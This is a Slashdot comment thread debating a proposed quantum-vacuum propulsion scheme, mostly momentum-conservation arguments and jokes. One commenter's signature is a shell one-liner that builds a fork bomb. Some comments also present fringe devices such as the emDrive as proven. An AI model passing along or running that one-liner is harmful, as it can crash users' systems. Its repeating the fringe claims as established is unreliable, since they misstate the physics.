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How To Build a Quantum Propulsion Machine
KentuckyFC writes "According to quantum mechanics, a vacuum will be filled with electromagnetic waves leaping in and out of existence. It turns out that these waves can have various measurable effects, such as the Casimir-Polder force, which was first measured accurately in 1997. Just how to exploit this force is still not clear. Now, however, a researcher at an Israeli government lab suggests how it could be possible to generate propulsion using the quantum vacuum. The basic idea is that pushing on the electromagnetic fields in the vacuum should generate an equal and opposite force. The suggestion is that this can be done using nanoparticles that interact with the vacuum's electric and magnetic fields, generating the well-known Lorentz force. In most cases, the sum of Lorentz forces adds up to zero. But today's breakthrough is the discovery of various ways to break this symmetry and so use the quantum vacuum to generate a force. The simplest of these is simply to rotate the particles. So the blueprint for a quantum propulsion machine described in the paper is an array of addressable nanoparticles that can be rotated in the required way. Although such a machine will need a source of energy, it generates propulsion without any change in mass. As the research puts it with magesterial understatement, this might have practical implications."
I bet this could be done even easier with cats, but the ASPCA people won't like it.
Vacuum doesn't suck, it pushes?
doesn't the introduction of particles make it NOT a vacuum?
FOXTROT UNIFORM CHARLIE KILO
Einstein had a theory about changing mass...are they saying they might have licked the problem of relatively?!
-Ours is the wisdom of Solomon, the magic of Merlyn, the fall of Icaris.
Well.
A non-reaction mass drive. That makes my head hurt. It just gave a slight air of plausibility to a few million bad SF novels.
How does this preserve momentum conservation? In the Casimir effect, the force occurs between two plates; as the plates are pushed in opposite directions, total momentum is conserved. Here, it seems as though you get momentum out of thin air (although energy is reffered to as "being spent", but with no indication how).
I call shenanignans!!
John Walker called such a device a vacuum propeller. He didn't have any particular ideas about how the device would work, but he does have a nice analogy involving propellers.
Is dumping momentum into the quantum vacuum different from emitting photons carrying the same momentum? If not, this is just a photon drive, which is a well known concept, has brilliant specific impulse but is incredibly energy-inefficient except at high relatavistic velocities.
Something like this is probably the only chance there is for interstellar space travel. The two biggest problems in traveling between stars are first having a source of energy that will last long enough to make it there, and second having the mass for propulsion needed to make it there. Between stars, there's not a lot you can push against so you have to carry your mass with you, and for corrections on an interstellar flight that could add up to a lot of mass. Either that or hope when you shoot out of the Solar system that you're aimed exactly right. However, if there is something to push against, problem 2 is solved.
" it generates propulsion without any change in mass. As the research puts it with magesterial understatement, this might have practical implications"
Ok, I'll bite: someone want to tell me what those implications are?
ZPM's! We'll be able to retire the aging buttered cat array fleet!
John Walker called such a device a vacuum propeller. He didn't have any particular ideas about how the device would work, but he does have a nice analogy involving propellers.
The article Red Jesus linked is critical. It helped me understand the whole point of this Story. I know I shouldn't RTFA, but I couldn't help it this time.
Will this gizmo work? A reactionless drive almost sounds too good to be true.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
How To Build a Quantum Propulsion Machine
At first glance I thought it said How To Build a Quantum Popsicle Machine. Then I thought Quantum Popsicle would have been a great name for a hair band in the 80's.
You could have flavors like Lime Quark and Strange Berry, put the stand up outside the Hadron Collider.
That's our life, the big wheel of shit. - The Fat Man, Blue Tango Salvage
If I'm reading the summary right, that's basically a reactionless drive: a device that can accelerate in space without having to throw anything out the back.
.99c) on them.
A reactionless drive would be nifty because it can gather kinetic energy very easily (that's what makes travel so cheap with one). However, there's a darker side to that coin. If you can accelerate a ship to near-c with little difficulty, there's not much stopping you from extorting the Earth by threatening to drop the ship (or for that matter, a bunch of tungsten telephone poles traveling at
Any propulsion system can be used as a weapon. Thus, the good news of the reactionless drive is that one can easily move about in space. The bad news is that one will have to.
This sounds a whole lot like the way the engines work in the anime Kidou Senkan Nadesico. There's even a helpful animation played to explain it all to the crew and passengers.
fair.org counterpunch.com truthout.com indymedia.org salon.com
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Until we find out that if you leave it on for a million years, it might just accelerate a space ship of one cubic centimetre up to a few millimetres per hour.
With due apologies to the authors if this estimate turns out to be a gross underestimate.
If this propels you, you get closer to the speed of light; as you approach that speed, you gain mass.
"Although the proposed engine will consume energy for manipulation of the particles, the propulsion will occur without any loss of mass," says Feigel.
I'd like to see how that works. The one thing that even non-physicists know is that energy is equivalent to mass (E=mc2). This applies to all power. However the mass loss of a battery which discharges is negligible compared to the total mass hence it is usually neglected for energies below nuclear. Unless they can show otherwise my very strong suspicion is that they energy needed to manipulate the nano-particles will be identical to the energy needed to emit a photon of the same momentum. Until they can show this I do not see anything to be excited about.
At last a theoretical basis for the Dean Drive.
Lacking <sarcasm> tags,
The Norwegians already have a wormhole to the other side of the galaxy, why are we wasting time on this?
This sounds like HHGG's cretins travelling back in time to steal stuff from the past, only to find out the future bastards are doing the same to them.
Fuck systemd. Fuck Redhat. Fuck Soylent, too. Wait, scratch the last one.
http://en.wikipedia.org/wiki/Magnetohydrodynamic_drive
Does it mean that I am old because I look around every day and it feels like I am living in a surreal sci-fi story?
Reactionless drives, energy weapons, smart phones, robotic killing machines, genetically engineered super species? At this rate I wonder if I would be surprised when practical AI or faster than light travel becomes an option.
But it looks like from the abstract that it will only cause rotational forces. Based off of that it will work similar to a magnetic torque rod or a momentum wheel and not actually be used for moving us about the galaxy.
http://arxiv.org/abs/0912.1031v1/
"According to quantum mechanics, a vacuum will be filled with electromagnetic waves leaping in and out of existence."
I'm confused. . . does this violate the law of the Conservation of Matter & Energy? Can this effect be exploited to harness 'free' energy? After all, electromagnetic waves are energy, are they not? Sure, propulsion that doesn't require you to throw stuff out the back door sounds interesting, but free energy sounds even more interesting.
There WAS the attempt to take advantage of the fact that buttered bread always lands butter-side down, and cats always land on their feet.
IIRC, it involved strapping a cat to a slab of buttered toast with the cat's feet on the butter. (Difficulty: obtaining catly cooperation). The early results were promising, with the cat hovering (and spinning) as the cat's feet and the buttered toast fought for landing position. When last heard from, the lab was attempting the same thing with a mountain lion, in the hopes of lifting or stabilizing significant amounts of weight and possibly obtaining propulsion effects by varying cat and bread sizes, with the goal of reaching low-earth-orbit without fuel.
Casimir effect is real and can be used for propulsion but it would require a change of mass because momentum has to be conserved. The mass variation for unit of time would be equivalent to dm = dE/c^2 where dE is the energy required for propulsion. The thing will move but slow and consume lots of energy. Yet it is an interesting device.
This is exactly what they're saying. A quantum propeller.
You push off of stuff that already exists in space to move forward, instead of having to throw stuff backwards to move forward.
The KEY is that space is not a true vacuum. It is a "working fluid" in the sense that you can push at it with magnetic fields. It can be interacted with.
With the first link, the chain is forged.
If this ever does get made into a propulsion system that changes the world(s), the phrase "this might have practical implications" will be up there alongside "one small step for man".
Let's do this shit. I'm ready for awesome intergalactic adventures. extrogalactic as well.
Although such a machine will need a source of energy, it generates propulsion without any change in mass. As the research puts it with magesterial understatement, this might have practical implications."
My Engine does not change it's mass when it turns the crank shaft. It simply alters the mass of my fuel source. This propulsion system will still require a source of energy. Until we learn how to create energy without a change in mass - this engine is about the same as any other engine. Personally, I don't trust anything with "Quantum" in the name to function anymore then my decade old Car engine.
Space opera author Iain M Banks' spaceships (from his various Culture novels) are propelled by "traction fields" which engage with the "energy grid" (sic) underlying the universe. Banks readily admits that this is purest gibberish with no basis in any known science. Perhaps in light of this research he can backtrack and claim to have been describing a form of quantum propulsion all along?
a few millimetres per hour
This is still orders of magnitude better than the Northern Line, however...
We already have theoretical designs for reaction-mass-less propulsion: the flashlight rocket - powered by photon momentum. The question is, if this can be made practical, does it have a better power-to-thrust ratio than a photon rocket?
Can you be Even More Awesome?!
Well, the photon is the carrier of the electromagnetic force, so the two may be equivalent in some sense. However, naively thinking, wouldn't rotating a wheel that pushes on something be more efficient than a rocket? Jet engines are more efficient than rockets, but I don't know what principles are at work and don't know how they apply here.
THIS SOUNDS LIKE A REACTIONLESS DRIVE. NOW THAT I HAVE PROPERLY CATEGORIZED IT FOR YOU, YOU CAN JUST GO STRAIGHT ON TO BEING SKEPTICAL, SINCE EVERYONE KNOWS REACTIONLESS DRIVES ARE BALONY. THIS HAS BEEN A SERVICE ANNOUNCEMENT FROM THE SOCIETY FOR THE PROTECTION OF THE STATUS QUO IN ENGINEERING. THANK YOU.
(We had to bribe Slashdot editors to let us write the above in all caps. They are total suckers for lower-case letters. It's a fetish of theirs, probably. Poor little letters. Cut to CmdrTaco doing a lower-case 'a' in the butt. Oh, ffs, will this filter ever let me through? rthwerg erg qergqegqerg qerg qegqegqreghqer gqer gq erg qer gqe gqergqergeqrgerg)
If only I had a fairly decent and large working trans-capacitor and an array of coils that would produce a rotating magnetic field that can be focused to a tight area so there would be a high flux gradient. (Likely one coil to act as a genric strong magnetic source, another one for torsion, and a third that acts to compress the others to pinch the field in the active region of the trans-capacitor.) Then there's something going on where you're bouncing a charge from side to side where this rotating magnetic field wants to shoot the electrons off to one side. So in a way it might even resemble an awkwardly repurposed magnetron. Still, thinking of the crazy stuff that I come up with, that's probably too stupid to work.
I'd imagine in principle it's akin to an ice skater doing one of those spins, but always pulling in the arm facing north and letting out the arm facing south, and somehow not significantly shifting the center of gravity while still shifting the center of mass. Or something like that. But is that really possible?
First, assume you have a magnetic monopole. From there, the math is easy.
I've abandoned my search for truth; now I'm just looking for some useful delusions.
It's called the Biefeld–Brown effect. And it does work in a vacuum, but based on experimental evidence the dielectric between the capacitor plates needs to be a solid, not a gas (e.g., air) for it to work. All the technology needs now is the proper funding and rockets can be replaced along with other forms of transportation.
Cars also don't work in outer space. This engine does.
But, also consider this: Cars push against the road. In essence they are throwing the road back (even though the road isn't part of the car, unlike rocket fuel which is part of a rocket). I only scanned the summary, but this seems to work without throwing anything back. Whether by losing mass (i.e. a rocket) or by pushing off of an object (i.e. a car).
One last thing: Sometimes I wonder; "Is that someone's signature? Or do they type that at the end of each post?"
Which Trek verse are we in now, Captain.
If there is anyone else really in here, please close up and go home, reality is closed until further notice.
See this item from 2004:
The existence of particles in a vacuum? That sounds exactly like the aether, a scientific theory that was abandoned about 200 years ago!
I've abandoned my search for truth; now I'm just looking for some useful delusions.
This is quite obviously an impulse engine.
"...that the specific pairing we have postulated immediately suggests a possible copying mechanism for the genetic material.".
Here's an interesting question:
Assuming this works, could the process be made reversible?
This would result in a device that resists momentum change, instead absorbing kinetic energy and using it to rotate the nanoparticles (and I assume dumping the energy out as heat).
This would be really useful for a lot of purposes. Spaceflight, naturally (anything that lets you play with momentum is useful in spaceflight); it gives you a brake that would cause your spacecraft to resist acceleration, which would be very useful for satellite stationkeeping. Around planets the devices would fall slowly; you might be able to use one as a parachute. You could install one on the tops of tall buildings to make them resist swaying in the wind. An aircraft with one installed would behave really oddly (possibly usefully). The possibilities are endless...
From TFA:
The beauty of Feigel's idea is that it can be easily tested. He suggests building an addressable array of magnetoelectric nanoparticles, perhaps made of a material such as FeGaO3 which has a magnetoelectric constant of 10^-4 in a weak magnetic field.
So is he saying that just by fliping the bits in some old core memory (http://en.wikipedia.org/wiki/Magnetic_core_memory), you can produce thrust?
are not "doing science" to it...instead youve created a wholly ungodly nightmare engine from which there is no escape, and lashed it together with physics.
Good people go to bed earlier.
Although such a machine will need a source of energy, it generates propulsion without any change in mass.
I thought e=mc2, or did I miss a memo somewhere?
He throws out some tentative numbers at the end of the abstract on the requirements for using this principle to manipulate satellites. Anyone here with a solid understanding of physics want to take a stab at working out what the energy input->force output is like assuming a magneto-electric constant of 10^-4 and the particles comprising 50% of the total object mass?
Like the poster on TR, I recommend this be dubbed the Spindizzy effect..
Prof Kaku has a show on the Science Channel called Sci-Fi Science. I saw the episode this week on how to build a working warp drive. Based on negative energy paper by researcher from Mexico's top university (sorry, can't remember name of prestigious institution or researcher) - sure sounds like the same sort of thing from TFA.
Apologies if it's just Friday thinking and the TV show and this new article aren't related - but I think they are.
Pathological kinda promises Path + Logical - but instead, you get stuck with pathetic.
Not to mention the Dean drive.
Think of the other Universe?!
Abusing those quantum effects "leaping in and out of existence" in Universe A will only cause trouble for the people in Universe 1!
At long last, the propulsion theories of Freeman Dyson and the vacuuming theories of James Dyson converge.
so, will I have one of these: http://www.youtube.com/watch?v=vsgIzU51Mr0 ?
Man, the Stargate-Universe folks really need to control their script leaks.
It just gave a slight air of plausibility to a few million bad SF novels.
Lots of good SF as well. In Larry Niven's "Known Space" continuity those things were called "Thrusters."
I was thinking yesterday (unusual, but it happens) that if you had a 10 by 10 kilometer plate of some material that acted on the kasimir force like a diode does to electrons, that you might get unidirectional force from vacuum energy. Not a lot, but over a decade, it would add up. You'd essentially have a quantum "sail."
Possible? Or do I just need more coffee?
Please do not read this sig. Thank you.
Note: I am not a physicist.
It seems superficially plausible.
Reactionless drives break conservation of momentum and conservation of energy, so a claim of one would be an extraordinary claim. However, this drive is not reactionless -- reactionless drives are not drives that feature no loss of mass, they are drives that feature no transfer of momentum. This is a no-mass-loss reaction drive, which would seem to be different in mechanism but not effect to a photon drive, subject to conservation of momentum and energy, and consequently requiring enormous input power for its thrust.
The existence of particles in a vacuum? That sounds exactly like the aether, a scientific theory that was abandoned about 200 years ago!
I suggest you read this book: QED The Strange Theory of Light and Matter
As the author of the introduction, Zee notes: "According to Feynman, to learn QED you have two choices: you can go through seven years of physics education or read this book"
This is the best book there is that I know of that will give you the grounding to get Quantum Electrodynamics. You will discover that particles do in fact, exist in a vacuum. The quantum world does not work anything like the macro world that we are used to. You have to get used to ideas like electrons traveling back in time and emitting a photon before they actually received a photon that caused them to emit said photon.
If you don't want to read that, then at the very least, read this: Vacuum Energy
Try to hack my 31337 firewall!
Well, I see the *promises* of many sci-fi things, like the other story about regrowing nerves. Problem is that there's amazing medicine and science that have been promised over the 44 years of my life that I haven't see boo about since the announcements. Where's my two hour New York-Tokyo flight? Where's my replacement organs being grown inside of a cow? They were talking about regrowing limbs and in the 70s. Where's the line of nuclear desalination plants providing California with energy and fresh water? Solar power sats have been on the table since the late 60s. A.I. and fusion and all those other things are just around the corner- in perpetuity.
GM food + cell phone with a processor + robot with gun bolted to it != HAL9000 with an FTL drive
Cripes, even if we keep our aim low- 15 years ago there was an announcement of super realistic voice synthesis, but most computers still sound like Twiki from Buck Rogers. Bede bede bede bede, the real future sucks donkey balls, Buck!
The fricken Asmio robots even look a little like that fasrtsucking Twiki bitch bot grr argh! That's no hookerbot like in the movie A.I.
Where's my quantum dust based PS9, dammit? Well, OK, that was Sony getting high on its own spume in a TV ad... never mind. Something like that would probably fry your brain, but, hey, just get a fresh one from the cow.
From the more and more frequent article mentioning Quantum Mechanics that humanity is taking the first few steps in taking QM from mostly theoretical to applied on an industrial scale. That will be an exciting era indeed.
Isn't the technical name for such a thing an "inert motor"? I was surprised at the article not using that term, but then made a search and discovered that the name is not so widespread as I thought. Is that the usual way of calling a motor that can work without using ejection of mass, or there is another way, or there is no established way? I had always liked that term, together with "cold light" (light source with no generated heat, do I have to revise that too?). But perhaps I'm old-fashioned, or just plain wrong.
Rome taught me patience and assiduous application to detail. Virtues which temper the boldness of great, general views.
We may get flying cars in my lifetime after all! And cheap space travel! And... and... Ok, ok. But admit it is nice to contemplate, even for a few moments :-)
The 10km x 10km sails are cheap knock off garbage they sell to tourists and wannabe garage mechanics. I know it is expensive, but you really need to go up to the 50km by 50km size and brand name DOES MAKE A DIFFERENCE!!! Also, remember to shop intergalactically, but buy galactically. You will appreciate the difference in service when something goes wrong (and it will).
One last thing: Sometimes I wonder; "Is that someone's signature? Or do they type that at the end of each post?"
Bring on the hoverboards and the flying cars. It's almost 2010 already!!
(Somebody had to say it. Now can someone better versed in physics than myself explain why this won't happen?)
with the assessment that no mass would be lost. I know of a popular equation relating energy to mass...
The first time I'd heard of a zero point drive was in Arthur Clarke's 3001. While it's not his best book, he's not exactly a sci-fi slouch.
"War makes me sad." - Me
With quantum propulsion is that you can never know both which direction you are travelling and how fast you are going.
Any insufficiently advanced magic is indistinguishable from technology.
Goodbye wankers,
Maybe you think you aren't a wanker, but the sad fact is, you are !
I've been here nearly 10 years and all you've done as a group is descend into wankerdom. So fuck you, you deserve the world you're helping to create. If only I could go somewhere else instead.... (planetary speaking)
PS you can help the cause... add this site to your hosts file at 127.* and never visit again. Just by posting you are giving this place legitimacy. Sad fucks.
2nd reply.....oh, wait.....shit!.....
Borrowing from another phase. From our perception it's perpetual. Where the return is... that's not for us humans to think about. But this is how to achieve it.
That's a mouthful. What's it going to be called by the space sailors? That's the real challenge.
I speak England very best
I guess Picard and Data never heard of this technology:
WORF: Probe now closing at fifteen point three metres per second. Collision course.
DATA: Captain, sensors are reading no particulate emissions or subspace field distortions.
PICARD: Then how is it able to move?
DATA: Method of propulsion is unknown, sir.
The same principle should apply for energy. Use this phenomena with Lorentz force to generate an electrical current and viola...electrical energy from a quantum vacuum.
The EM force is far stronger than most other quantum forces, so the intensity of the "push" would be determined by the efficiency at which one can cause symmetry violation.
The larger the symmetry violation in the virtual particle field, the stronger the net EM field outside the ship will be, and the more effective a magnetic propulsion system would be.
(I am more interested in the consequences of this symmetry violation; any virtual particle that persists long enough to be measured is indistinguishable from a real particle, so the potential for genuine particles to be churned out from the vacuum by this approach is interesting to me. Energy costs would likely be astronomical though.)
The paper is a one-author publication in a non-peer-reviewed journal and doesn't seem to be published anywhere else. The author's affiliation is an applied R&D institute not an academic institute with a strong theoretical background. I'm not saying that discredits it, but it certainly means that it should be taken with a grain of salt. I would suggest that anyone who wants to assess the merits should read through some of the references (which are good publications) and see if the present article appears plausible. Even without any technical expertise, the abstracts could probably provide a feel for the state of the art.
I couldn't be bothered to do that reading myself, but I would suggest that any momentum transfer to the vacuum would involve the production of real particles from the zero-point fluctuations. Conservation of momentum demands that there would be something carrying momentum in the opposite direction of the spacecraft and, by definition, it can't be an unexcited quantum field. There would have to be excitations of the field to carry the momentum (real particles).
So if this is the future...where's my jet pack?
The reaction mass in a "conventional" spinning flywheel gyro is called a flywheel. While such a gyro does not expel fuel, it does use a reaction mass.
The spacecraft pushes on the flywheel, the flywheel pushes back, and both accelerate with opposing angular momentum vectors. That is an equal and opposite reaction. Thus it is not a reactionless drive.
Good judgement comes from experience, and experience comes from bad judgement.
- W. Wriston, former Citibank CEO
Does this imply as well the possibility of a localized "artificial gravity"?
Old hat. emDrive already works, demonstrated here: http://www.youtube.com/watch?v=57q3_aRiUXs&fmt=18 Uses microwaves in an enclosed cavity to transform lots of electricity into a bit of reactionless drive. emDrive Home: http://www.emdrive.com/
guess we have to wait for a Mr. Fusion unit first.
why am i thinking the optimal shape for a spacecraft using this rotatey-particley technology would be disc-shaped with a bump on top ?
do you suppose it might exhibit 'impossible' aeronautical feats, have a tractor beam, take rectal samples of local fauna, and leave crop circles in it's wake ?
will i *finally* get my jetson's car ? !
why am i thinking the optimal shape for a spacecraft using this rotatey-particley
wibbly-wobbly, timey-wimey?
Bow-ties are cool.
If the device uses internal energy, this will reduce its mass. It could just use photon's propulsion.
"Heaven lasts long, and Earth abides
What is the secret of their durability?
Is it because they do not live for themselves
That they endure so long?
-- Lao Tzu,
Datalinks"
First, you make my brain hurt. When brain hurt drink beer.
Next, whats the vig on virtual particles. If you miss a payment, does God send Jesus to break your knee caps?
Politics is the art of looking for trouble, finding it everywhere, diagnosing it incorrectly and applying the wrong fix.
Actually there IS a transfer of momentum. However it is transferring momentum to the rest of the universe. The overall distribution of Zero-Point energy has shifted which slightly shifts the center of mass of the entier universe.
It is like putting something in a box...you can move something in the box (with magnetic fields) without moving any mass in the box...but outside the box you will see the entire box has shifted slightly.
Something that nobody has mentioned yet is that if we're coupling to the surrounding vacuum to accelerate ourselves, we should be able to couple to the vacuum to decelerate ourselves, _and store the energy from the deceleration_.
Given big enough energy storage devices, we can then use that energy to accelerate on the next trip, and the net energy cost per trip is substantially reduced.
Given that there is little friction in space, I wonder if it would be possible to generate and store energy when slowing down at the end of the journey (like a hybrid car) and use it to accelerate back up to speed again on the next trip.
This would dramatically reduce the overall energy consumption, but would need some serious energy storage capacity.
that will rip a hole in subspace. I just know it.
This invention, if it pans out, would be more like a propeller for spacecraft, pushed by and pushing against the short-lived particles that spring in and out of existence in vacuum. I have to imagine that the amount of thrust would be minuscule, but not having to carry reaction mass would be a huge advantage.
Which makes me wonder if you'd end up with a particle beam to "react against" as a result.
Virtual particle pairs can exist because they mutually-annihilate with a lifetime so short the product of it with their masses is less than the uncertainty principle limit. If nothing interacts with them meanwhile their "values" all cancel out in the annihilation, leaving nothing. But if your device interacts with (one or both of) them, in a way that changes its own momentum, it also changes the momentum of the virtual particles. If they then annihilate without leaving something behind you've broken conservation of momentum.
Things interacting with virtual particles sufficiently energetically can do things like separate them, preventing (or modifying) the annihilation, leaving the particles (or some hunk of them) behind, and consuming enough energy to "create" the particle pair (or whatever) left behind.
(If I have these right...) Example: Pair forms near an event horizon, one falls in (giving the other enough energy to escape). Result: Hawking radiation. (The one falling in is preferentially an anti-particle for something inside the hole, and thus the hole eventually decays.) Another example: Consider an energetic nucleus which can't quite break apart due to a potential barrier. A pair forms on the high part of the potential barrier. The antiparticle for a particle (or fraction of it) trying to escape is sucked in and zaps its new partner instead of the original, while the equivalent particle flies away on the outside of the barrier. Result: Beta decay. (The nucleus has no "clock". Instead the random nature of the vacuum fluctuations gives a constant probability per unit time of the virtual particle pair happening in just the right way, leading to the long-term exponential decay.)
I'd be willing to bet that, if this DOES work, the energy input will result in some reaction with the virtual particles that prevents their total mutual-annihilation. Instead some residue particle(s) will be "created" and propagate away in the direction opposite the thrust. Thus will both momentum and mass-energy be conserved. And the machinery will produce a very energetic beam of something for an "exhaust".
But I'd LOVE it if this proves to be incorrect. (Or if the "beam" is dark matter, or the interaction somehow ends up transferred as a push against the rest of the mass of the universe as a whole, as gravity radiation pushing/pulling on whatever it hits - resulting in an inverse-square "pressor" or "tractor" beam, etc.)
Bantam Dominique roosters crow a four-note song. Once you've heard it as "Happy BIRTHday" you can't NOT hear it that way
The energy required to accelerate mass m to 0.99c is roughly 6mc^2.
Mass M of antimatter reacts with M of matter to give 2Mc^2 of energy, so we need at least 18000kg of antimatter (and the same of matter) to generate enough energy to accelerate our tungsten telegraph pole to .99c.
I'm only an aspiring physicist, but it seems like the arxiv article assumes an external magnetic field. This could explain why the author only mentions altitude change in satellites.
A nuclear reactor simply converts mass to energy, very inefficiently. So just by virtue of running it, you are losing fuel mass. There's no free lunch.
In the absolute best case for an energy source, you could convert mass directly to energy, and use that to power your quantum drive. But if you can convert mass directly to energy, you can just dump that energy out the back in the form of photons and get the exact same level of thrust...maybe more if your quantum drive has any inefficiencies. So I don't really see how this would be any more useful than a photon drive. In either case the hard part is the energy source, not the drive mechanism.
Build a man a fire, he's warm for one night. Set him on fire, and he's warm for the rest of his life.
I you already have motion (for example the motion of the Earth around the Sun) would it be possible to use this type of device to extract energy from that momentum?
Volume/speed? That's a useless metric. What's inside your cubic centimeter (notice the spelling, I get double points for mocking your science and english)?
Modding me -1 troll doesn't make me wrong.
Unfortunately, your double points are revoked on account of your mocking being pointless on both counts.
Firstly, you used American spelling, I used international spelling. Woop de doo, I'm most impressed.
Secondly, it really makes bugger all of a difference what the cubic centimetre is composed of; unless there's a miniature black hole in it (and its my damn space ship, i assure you that there isn't), then the accelerating force is still waaaay beyond feeble.
But if it makes you feel better, we can say that it has a mass of 10g.
My first thought was, "It's the 'thruster' technology from the roleplaying game, Traveller!" My second was, "Traveller was wrong again. We didn't invent 'grav' propulsion first."